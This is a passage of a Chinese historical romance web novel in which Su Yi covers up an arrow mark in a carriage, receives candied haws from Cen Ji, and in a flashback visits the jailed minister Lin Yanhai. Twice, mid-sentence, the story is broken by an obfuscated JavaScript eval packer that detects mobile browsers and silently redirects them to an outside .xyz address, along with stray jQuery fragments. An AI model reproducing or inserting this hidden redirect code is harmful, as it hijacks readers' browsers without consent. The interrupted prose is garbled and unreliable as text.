苏苡顿了顿,这是她始料未及的,原本还以为他会问些其他细节,却不想竟纠结起她的身世来。 风声呼啸在耳畔,苏苡又像是被拉回十一年前,那个寒风凛冽的雪夜,娘亲用力将她抱进怀里,慢慢地从她身上滑下去,娘亲的血是温热的,黏稠的,泛着苦咸味的。 她从没想过一个雪夜可以冷成这样,将她的四肢百骸都冻得没有知觉。 “岑寂。” 苏苡沉声喊道。 “廿业城外,我的身世,句句真话。” 10. 身入连州9 岑寂望向她,骑楼连廊檐上挂着的灯笼随风摇曳,光亮映在苏苡的脸上,出乎意料的,苏苡神色不复往日地严肃,岑寂的直觉告诉他,苏苡没有说谎。 “我知晓了。待明日去过知州府,你便随我回殷守,我会将此事彻查清楚。二十二寨向你索要的银子,不是由你我说了算。” “你头次离京,想必不知这二十二寨的来历。二十二寨的寨主名叫杜杰风,十一岁流浪到拢水三乡,十四岁带着村里大半的人上苍梧岭,取名二十二寨……” 岑寂沉默片刻,挑挑拣拣将二十二寨这些年来的大致情况同苏苡说道。 苏苡抹了一把脸,手里捏着的衣角干干净净,哪有一点哭过的样子,她道,“如此说来,这二十二寨还算得上瑕不掩瑜。” 对苏苡所言,岑寂并不反驳,点点头,接着说,“不错,这些年来二十二寨劫富济贫,未行恶事,若你所言皆真,官府会同他们商量招安之事。” 苏苡原本还在想该如何套话,却不想一眨眼的功夫,岑寂就自己将其吐了个干净。 苏苡扯唇,还没来得及开口,又听岑寂道,“可若是你欺瞒官府,或二十二寨与那杂役有所勾结,知州府必当严惩不贷。” 苏苡眨眨眼,在心中暗自腹诽,这人变脸还真是快,面上却是没脾气地点头,试探着出声,“那银子……” “按我朝律法,利用他人性命危险索要银钱,视为恐吓取财,需将财物返还,可处杖刑。不过此事是你心甘情愿,待银子还给你,你可再以答谢之名赠与二十二寨。” 苏苡乖乖应下:“好。” 话音落地,岑寂莫名其妙回眸看向她,苏苡也不知就里地回望他,四目相对,相顾无言。 苏苡率先打破沉默,犹豫地开口:“今日时候不早了,该逛的也逛了,不如就先回去罢?” 岑寂点了点头,忽地想起什么,问道:“你知道他们在哪?” 苏苡抬起的脚顿住,默默收了回来,“不知。” 两人大眼瞪小眼,再次陷入沉默。 廿业城说大不大,说小也不小,想要找人并非是件容易的事,没有个确信,挨个挨个寻过去恐怕天都要亮了。 苏苡后知后觉反应过来,起先一心一意想要套岑寂的话,她压根没想到这一茬,如今还真不知该去何处寻人。 就在这时,身后突然传来熟悉的喊声,“岑寂!苏冉!” 两人齐刷刷回头,就见夏栩驾着马车,一只手握着缰绳,一只手高高举起朝二人挥手,脸上挂着灿烂的笑容。 苏苡心中触动,她从没有哪一刻像现在这样,如此感激一个人的出现。她发誓,日后能不骗他便绝不再骗他! “哎,夜市人太多了,马车进不来,你们快过来吧。”夏栩大声吼道。 苏苡心中的触动瞬间消失,面无表情抬脚就往他的方向走去,没走两步手中的衣角就拽不动了,苏苡扯了扯,依旧不动。 苏苡不信邪,深吸一口气,双手捏着衣角用尽全力向前一拽,岑寂猝不及防被一扯,脚步踉跄,身体前倾,手下意识往前伸。 一盏灯笼随着人群从身侧略过,橙黄色的光亮洒在苏苡紧握着的双手上,手指间那片冰蓝色清晰入眼,苏苡瞳孔骤缩,三个字从脑海里蹦跶出来:完蛋了。 苏苡在心里为自己捏把汗,立马撒开手,仿佛是什么烫手山芋。她刚转身,一双手就抓住自己的肩膀。 顶着那道想要杀人般的眼神,苏苡扯出一个假笑:“将军,走路要小心呀。” 岑寂唇角勾起,眼神却是带刺般的冰冷,说出的话嘲讽意味明显,“有劳苏小姐担心了。” 温热的气息洒在苏苡耳畔,苏苡缩缩脖子,道:“不劳不劳。” 夏栩眯着眼睛盯着二人看了一会,忍不住喊道:“喂,你们在干什么呢?快点啊!” “来了。”苏苡立马歪头应道,“我们快走吧。” 岑寂没搭腔,径直走向马车,苏苡顿时松了口气,跟在岑寂身后。 在距离马车两步远的地方,苏苡忽然意识到什么不对,立刻伸手拉住岑寂,将他扒拉开,一溜烟钻进马车。 只留下岑寂与夏栩面面相觑,夏栩不解地看了看还在轻晃着的车帷,又看向岑寂,“她属猴的?” 岑寂对此不甚在意:“有银子吗?给我点。” 夏栩奇怪地看了他一眼:“你要银子做什么?”手却已经摸向自己的胸口,从怀里掏出一个钱袋。 岑寂接过钱袋,掂量了一下,约莫有六七两,足够了。 “回去还你。”言闭,岑寂转身再次挤入人群。 “哎不是,你干什么去?去多久?我们要等你吗?”夏栩朝着岑寂的背影一连抛出几个问题。 岑寂头也不回:“等着,马上回来。” 闻言,夏栩扭头看了看马车,马车停在巷子口,左右都还有一尺多的距离,既不会挡马车也不会拦人。 夜市是一条长街,穿插着各种各样的小巷,有些巷子马车进不去,有些巷子里人挤着人,因着傍晚那大伯,他找了许久才找到这么一条能通马车,人还少的巷子。 夏栩满意地收回视线。 苏苡一钻进马车看见的就是那个黑漆漆如同眼睛一般的窟窿。这也是她方才为何如此着急的原因。 依她所言,是杂役妄图谋杀,恰好被二十二寨撞见,故而对其痛下杀手。可这窟窿明眼人一看就知晓是箭矢所留下,更别提岑寂这么一个常年征战沙场的人。 廿业城外满地的箭矢姑且还能解释是为了救她,毕竟除了那杂役,无一人伤亡,但这一箭,偏生钉在马车内的木檐上,只要岑寂一进马车,就必定会看见。 苏苡头疼地皱起眉,伸手摸了摸这个窟窿,还好杜杰风命人将箭头磨得钝圆,否则还真不好圆过去。 这般思忖间,苏苡扭头看了眼车帷,听见二人的对话才稍稍放下心,她伸手摸向茶桌,咳嗽两声,声音不大不小刚好盖过齿轮转动的声音,也刚好能让夏栩听见。 果然,听见动静,夏栩立马开口,“苏姑娘?你还好吗?是不是刚刚出去着凉了。” 紧接着桌下一块木板弹出来,里面放着一把匕首,苏苡拔出匕首,回道,“无事,待回去喝点药就好了,夏兄不必管我。” 夏栩犹豫了一会儿,还是介于身份没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488697|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有再多过问,“好。若有其他不适,一定要跟我说。” “好。”苏苡神色平静,一边假装咳嗽,一边将匕首刀尖插进窟窿,握着匕首的手用力旋转,把箭矢刺出的形状一点一点抹去。 夏栩越听越是心惊,这莫不是要将肺都咳出来??? “苏姑娘,我听你咳的实在有些严重,不如先去趟医馆看看你这病?”夏栩问道。 看着眼前的这个,已经完全没有了箭矢痕迹的窟窿,苏苡满意地将匕首放回去,回道,“不必了,岑寂还没回来吗?” “还没……”夏栩话刚出口,就见岑寂拎着大包小包往这边走来,连忙改口道,“回来了他回来了。” 夏栩一言难尽地看向岑寂,想起苏苡,压低声音道:“她刚一直在咳嗽,估计是着凉了,我让她去医馆看看,她不愿意,你劝劝她。” 岑寂不知觉拧眉,跨步上了马车,一眼就看见苏苡靠在角落里,满脸通红地望向自己。 岑寂将手中的东西尽数放在茶桌上,问道,“不舒服?” 苏苡郁闷地摇头,刚才咳的太过用力,差点一口气没喘过气来,此刻还真有些气闷。 若问起来她还不知该以什么借口才能既坐实自己病弱的事实,还能不去医馆喝药。 好在岑寂并未多问,将桌子上的几个袋子依旧打开,一眼看过去,全是先前她看过的,苏苡不经诧异,岑寂居然将这些全部都记住了? 这般想着,苏苡也就这般问了,“你竟然把这些全都买回来了?” 岑寂从最大的包裹里取出一串约莫有一尺长,外面用油纸包裹着的东西,递到苏苡面前,“嗯,尝尝看。” 苏苡看着这个东西,一时之间竟没有力气去接过。 从前吵着闹着要吃,倒不是真有多么喜欢,只是纯粹的想闹一闹苏卓禹,只是因为这个人是她的父亲。 后来苏卓禹战死沙场,苏苡知道,没人能再让她缠着将其带回来,也就不再吃了。 可如今,这个东西就放在她的跟前,只需伸出手,这份失去了十一年的礼物就又回到自己手里。 苏苡想不出拒绝的话。 见苏苡半天没有动作,岑寂不由得出声问道:“怎么了?” “没事,谢谢。”苏苡回过神,从岑寂手中接过。油纸整整齐齐套在上面,苏苡小心翼翼撕开。 山楂看上去个个鲜红饱满,苏苡咬下一口,蜜糖的甜味瞬间充斥在口腔内,和当年的糖葫芦一模一样。 又酸又涩,又腻又甜。 苏苡垂眸,盯着被咬下的地方,眨眨眼,莫名地觉得心中翻涌起一股委屈。 她抬眸看向岑寂:“岑寂,好酸啊。” 岑寂盯着苏苡的脸,一滴泪水缓慢地往下滑落,岑寂掏出一张手帕,轻轻擦去眼泪,放轻了声音哄道,“那便不吃了。” 说着伸手去拿,却被苏苡躲开,苏苡执拗地看着自己,“岑寂,我好多年没有吃过糖葫芦了。好不容易吃一次,你是不是故意给我酸的。” “我不喜欢。” 苏苡边说边将糖葫芦凑到嘴边,狠狠咬下一口,“太酸了,一点都不好吃。” 11. 长路漫漫1 天边,玉盘似的月亮现在云间,投下的月光仿佛一层无形的纱,朦朦胧胧,看不真切。 苏苡坐在窗边,一手撑着脑袋,眼睛一眨不眨盯着。 她已经有些记不得自己是如何回来的,只觉心底是前所未有的平静。 房门吱呀一声被人推开,苏苡循声望去,绯桃端着一盆水进来放在她的面前,一声不吭将毛巾打湿拧干,递到她的手边。 苏苡接过擦拭着脸,问道,“我交予你的事可都做好了?” 绯桃应道:“都做好了。” “那便好。明日问审过后,我们要去殷守,你拿些首饰去当了,顺便给月白月见传个信。” 绯桃诧异地看向苏苡,试图改变自家小姐的想法,“小姐,我们此次离京……” “此事我意已决,无需再论。时候不早了,你也去休息罢。”苏苡打断绯桃的话,语气坚定。 绯桃欲言又止,终究什么话也没再说,转身离开。 苏苡躺在床榻上,双眸盯着木檐,思绪逐渐变沉,她做了一场很长的梦。 三年前。天元二十三年。 内阁大学士林偃海勾结斥兰,私献舆图,意图谋反,罪证齐全,林家上下无一幸免,尽数关押。 外头飘着鹅毛大雪,两扇黑漆大门打开,寒风裹挟飞雪一股脑涌入,耳侧碎发轻晃不止,苏苡披着件银朱色金丝云纹狐裘,一路往诏狱深处走去。 诏狱墙壁很厚,只有几扇高悬小窗,灯火幽暗,空气中掺杂着浓重的血腥味,惨叫声透过甬道清晰入耳,苏苡微微凝眉,她不信林偃海通敌叛国。 林偃海与萧从筠少时相识,乃刎颈之交,先帝逝后,朝中群臣个个虎视眈眈,是林家同萧从筠、太傅谢泽仁一道,扶持十二岁的萧恒登基继位。 距今二十三年整。 且不说林偃海官居三品,兼刑部侍郎,他何至于此? 四五个狱卒自甬道另一侧挡住苏苡去路,躬身作揖,恭敬开口,“见过郡主。” 苏苡应声抬眸,视线从几人低垂着的脑袋上掠过,声音淡淡却透着几分寒意,“让开。” 狱卒没有动,为首那人上前一步,道,“郡主可是要寻林大人?陛下下令,今日任何人不得探视。” 苏苡神色微敛,看向那人的目光冰冷,身上带着近乎要压抑不住的怒气。 她刚得知此事就赶了过来,丞相贺宏成呈上的罪证齐全,林偃海当即以通敌叛国之罪名锒铛入狱,交由大理寺、刑部、都察院共同审理,一旦罪证确凿,林家再无转还的可能。 每晚一秒,林家便多一分威胁,今日这人能见得见,不能见也得见。 余光瞥向右侧狱卒腰间挂着的佩剑,苏苡反手将剑拔出,直指说话那人。 霎时间,其余狱卒下意识握上剑柄,欲要拔剑,苏苡神色不变,剑尖往上挪了半寸,“本郡主要见的人,还没有见不到的。” “你们,是要拿剑指向我吗?” 拔剑的手齐齐顿住,不确定地转头看向为首那人。 感受到脖颈上冰凉的触感,那人垂眸看了看,只要苏苡稍稍用力,他的脖颈就可以从中分开,他微不可查地叹息一声,“陛下有令,小的不敢违抗,还请郡主见谅。” 苏苡轻嗤一声,话语间满是不屑,“这等小事,待事后我自会去皇舅舅跟前请罪。纵使皇舅舅怪罪下来,本郡主一力承担,绝不牵连无辜。” 那人依旧面无表情:“郡主,这于理不合……” 见他还顽固不化,苏苡无心再同他置辩,上前两步抬脚就踹向男人小腿,男人猝不及防,踉跄着跪倒在地,苏苡冷冷扫了一眼,绕过他继续往前走。 几步过后,苏苡垂眸看向手中的剑,力道一收,剑身重重砸在地面发出沉闷的响声,苏苡头也不回,“胆敢再往前一步,本郡主便叫尔等血溅当场。用你们的头颅换本郡主几句斥责,你们当真认为划算。” 话音充斥在过道里,一字一句灌入耳中,几人默默收回刚踏出的脚,丝毫不怀疑这话的真伪。 男人盯着苏苡的背影,从地上爬起来,朝一旁的狱卒说道,“我去向陛下禀报,你们在此处守着,任何人不得放入。”说到这里顿了顿,“其余人,可以拔剑。” “是。” 越往里走,越是昏暗,关押林偃海的牢房在最深处,苏苡走了好一会才看到人影。 四周的牢房都被清空,这一片就只关押着林偃海一人。牢房里有张木块拼合的床,床很窄,只够一个人躺着,翻身不小心都会掉下去。 木床放在左侧靠墙,右边还有一张破旧得有些发黑的桌子,除此之外牢房里几乎没有伸展的空间。林偃海就侧躺在木床上,面对墙壁,像是睡着了。身上是一件薄棉衣,很干净,显然还未受过刑。 苏苡望着林偃海的背影,心头漫过一丝苦涩。 八年前曲江战败,武安侯府满门战死沙场,萧从筠中毒身亡,苏苡,昔日被捧在掌心,金尊玉贵的“小凤凰”,一夕之间失去双亲,沦为遗孤。 时至今日,苏苡仍清晰记得萧从筠去世前身上萦绕着的,浓重血腥味里混杂着的一丝若有若无的药味,太医院特供的安神香在香几内日日夜夜焚着,可鼻尖嗅到的却是更加苦的药味。 八年过去,苏苡以为自己已经足以护住想护之人,可当预想中的事情真的发生,她才发现自己一如当年那般渺小无能为力。 苏苡知道,林偃海此番是遭人陷害,可知道又有什么用?查不到证据,找不到真相,林偃海依旧是通敌叛国的罪臣,林家依旧没有翻身之境。 视线越过锈迹遍布的铁门,落在林偃海雪白的薄棉衣上,苏苡垂在身侧的手缓缓收紧,良久喉间才溢出一声,“林伯。” 哪怕苏苡已经尽可能地用平和的语气开口,林偃海还是从中听出了几分迫切忧虑。 林偃海眼睫微颤,缓缓睁眼,青灰色的砖面落入眼中,彻骨的寒意寸寸侵入,刺痛感变为麻木,一动不动。 沉重的呼吸声在空旷的牢狱中格外明显,冻僵的身体才逐渐恢复一些知觉,林偃海双手撑在木板床上,探起半边身体望向苏苡。 这一眼包含了太多的思绪,淡然却又决绝,惆怅却又释然,还不等苏苡仔细分别,便被一一揉进了一片平静里,无波无澜。 苏苡心底升起一股不好的预感,这种感觉就像是被一道无形的界碑阻拦,明明人和事都清晰可辨,伸出手却抓了个空,连一片衣角都碰不着。 林偃海故作轻松地勾起一抹笑,“冉冉来了。” “嗯。”苏苡点头,算作回应,随即话锋一转,急迫紧张地问道,“林伯,伪造密信,偷盗舆图,买通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488698|185752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人证,这些可是丞相一人所为?” 林偃海没有回话,坐起来靠着青砖墙,用力地捏着双腿,缓了一会,才站起来走向苏苡。 见状,苏苡立马解开披在身上的狐裘,扯下,从铁门缝隙中将狐裘塞进去,“正值严冬①,诏狱本就阴冷潮湿,以此罪名进来,狱卒定当不会有所顾忌,林伯,先披着吧,一会儿我便叫绯桃送些衣物吃食进来。” 林偃海手握成拳抵在嘴唇上,轻咳两声,摆了摆手,“我时日无多,不碍事。这红衣,衬你,莫要脏了。也别让绯桃跑这一遭,她一个小姑娘,若是见着外头堂中受刑的,晚上回去指不定要梦魇。” 额前几缕灰白碎发随着林偃海动作晃动,苏苡微微抬眸,林偃海的头发全部挽在头顶,墨色的发丝间嵌着缕缕银白,前些日子见时,分明还没有白发。 苏苡猛地移开目光,垂下眸子,似乎这样就当做什么都没有看到,呼吸却乱了,话语间带着几分执拗,“绯桃不行,便叫沈易来,沈易不行——” 苏苡抬头对上林偃海的视线,“这天底下那么多人,我就不信寻不到一个敢进诏狱的。”说着强硬地将狐裘塞到林偃海怀中。 “林伯,你告诉我,今日朝堂之上,那些莫须有的罪证,可是丞相一人所为?”苏苡双眸紧紧盯着林偃海,不放过他脸上的一丝变化,一副得不到回答就誓不罢休的架势。 林偃海垂眸,背对着高悬小窗,寒风吹着自己的脊背,手上银朱色的狐裘还残留着苏苡身上的体温,林偃海手上轻轻抚摸着狐裘,一下接着一下。 他有多久没有这样摸过苏苡的头了?林偃海仔细想了想,抬头看向苏苡,上一次,似乎还是苏苡四岁那年。 林偃海有一个女儿与苏苡同岁,萧从筠还在世时,闲暇里便会相邀着一同游玩,可一朝战乱,物是人非,不复当年。 萧从筠过世没多久,萧恒就将苏苡接入宫中抚养,平日里极少时候出宫,偶尔相聚一次,说的也都是些无关紧要的事,“御膳房②的菜合不合胃口”“是不是长高了”诸如此类。 兴许也是有所顾忌,八年来从未在苏苡面前提起过萧从筠苏卓禹死前的事,只是看向苏苡的眼睛里总能看出几分眷念,而今,约莫是破罐子破摔,竟想自私一回,提一提这陈芝麻烂谷子的旧事。 “一恍惚,竟是八年过去。”林偃海说这话时,还伸手在自己腰间比划了一下,“还记得你从前最是喜爱甜食,你宋姨做的桂花糕,能吃两大盘,我们一群人就看着你吃,也不知道这么小一个人是怎么吃下去那么多的。” 苏苡怔怔望向林偃海的脸,忽地就懂了些什么。 喉间溢出一声轻笑,苏苡一字一句道,“是啊,父母还在时,整个京中哪家哪户不说我讨人欢喜,个个上赶着巴结,可迄于今日,除了林家,又有谁待我真心实意?” “荷月十九便是阿鸢生辰,林伯,为何偏就今日下狱之事只字不提,左右而言他?现下,我无法保你,也无法保林家。如此这般,是想让阿鸢同我一般吗?” 苏苡口中的阿鸢便是林偃海的女儿,林鸢。 “林伯,我知你不愿我掺和此事,恐我被牵连,可此罪是要连坐的,若我不帮你,以丞相手中的罪证,待明日三司会审,林家便再无转还的可能。” “为林家,为我,寻一生路吧。”